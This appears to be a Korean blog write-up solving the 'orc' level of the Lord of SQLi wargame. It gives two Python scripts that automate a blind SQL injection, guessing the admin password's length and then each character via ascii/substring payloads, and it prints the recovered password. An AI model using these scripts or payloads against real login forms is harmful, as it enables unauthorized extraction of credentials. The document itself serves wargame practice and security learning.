1.문제풀이
1) 코드해석
- 이번문제에서는 여태까지와는 다르게 단순히 admin계정으로 접속했다고 풀리는 문제가 아니다
- 다음 코드와 같이 admin의 실제 비밀번호를 탈취해서 접속해야 풀리는 문제다
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
- 따라서 이번 문제는 Blind SQLi문제로 자동화 도구를 이용해서 문제를 풀어보겠다
2) 문제풀이
2-1 비밀번호 길이를 알아내는 python 코드
import requests
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php' #url 주소를 입력
cookies = {'PHPSESSID': 'cookie'} #세션 쿠키를 입력
def find_pw_len():
pw_len = 0
while 1:
pw_len=pw_len+1
value = "' or id='admin' and length(pw) = {} -- '".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
params = {"pw": value} # pw에 Payload 코드 삽입
response = requests.get(url,params=params, cookies=cookies) #GET을 통해 전달
print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
print(value) # 전달되는 Payload 코드 확인
if "Hello admin" in response.text:
break
return pw_len #id 길이 반환
if __name__ == '__main__':
print("pw의 길이는 : "+str(find_pw_len()))
- 비밀번호의 길이를 알아냈으므로 이젠 실제 비밀번호를 자동화도구를 통해서 알아내도록 하겠다
2-2 실제 비밀번호를 알아내는 python코드
import requests
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php' #url 주소를 입력
cookies = {'PHPSESSID': 'cookie'} #세션 쿠키를 입력
def find_pw_len():
pw_len = 0
while 1:
pw_len=pw_len+1
value = "' or id = 'admin' and length(pw) = {} -- '".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
params = {'pw': value} # pw에 Payload 코드 삽입
response = requests.get(url,params=params, cookies=cookies) #GET을 통해 전달
print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
print(value) # 전달되는 Payload 코드 확인
if "Hello admin" in response.text:
break
return pw_len #id 길이 반환
def find_pw_str(pw_len):
pw_str = ""
for len in range(1,pw_len+1):
for ascii in range(0,127): #ascii a~z까지의 값 반복
value = "' or ascii(substring(pw,{},1)) = {} -- '".format(len,ascii) # 반복하면서 pw을 substring 한다음 ascii로 변환한 값을 통해 비교해서 정답을 찾아냄
params = {'pw': value} # pw에 Payload 코드 삽입
response = requests.get(url, params=params, cookies=cookies) # GET을 통해 전달
print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
print(value) # 전달되는 Payload 코드 확인
if "Hello admin" in response.text:
pw_str+=chr(ascii)+":" #참이라면 ascii코드를 char형으로 변경해서 저장
pw_str+="\n"
return pw_str #한 문자에 대한 검색이 끝날시 엔터 처리
if __name__ == '__main__':
print("비밀번호 조합 : \n"+find_pw_str(find_pw_len()))
- 자동화 도구를 통해 우리는admin계정의 비밀번호가 095a9852 인것을 알 수 있다
- 실제로 파라미터에 대입해보면 접속이 성공한다
- 공격 시 삽입 구문: id=admin&pw=095a9852
- 공격 후 구문: https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?id=admin&pw=095a9852
- 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.
select id from prob_orc where id='admin' and pw='095a9852'
'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글
Lord of SQLi(#6 darkelf) (0) | 2022.12.30 |
---|---|
Lord of SQLi(#5 wolfman) (0) | 2022.12.28 |
Lord of SQLi(#3 goblin) (0) | 2022.12.28 |
Lord of SQLi(#2 cobolt) (1) | 2022.12.28 |
Lord of SQLi(#1 gremlin) (0) | 2022.12.28 |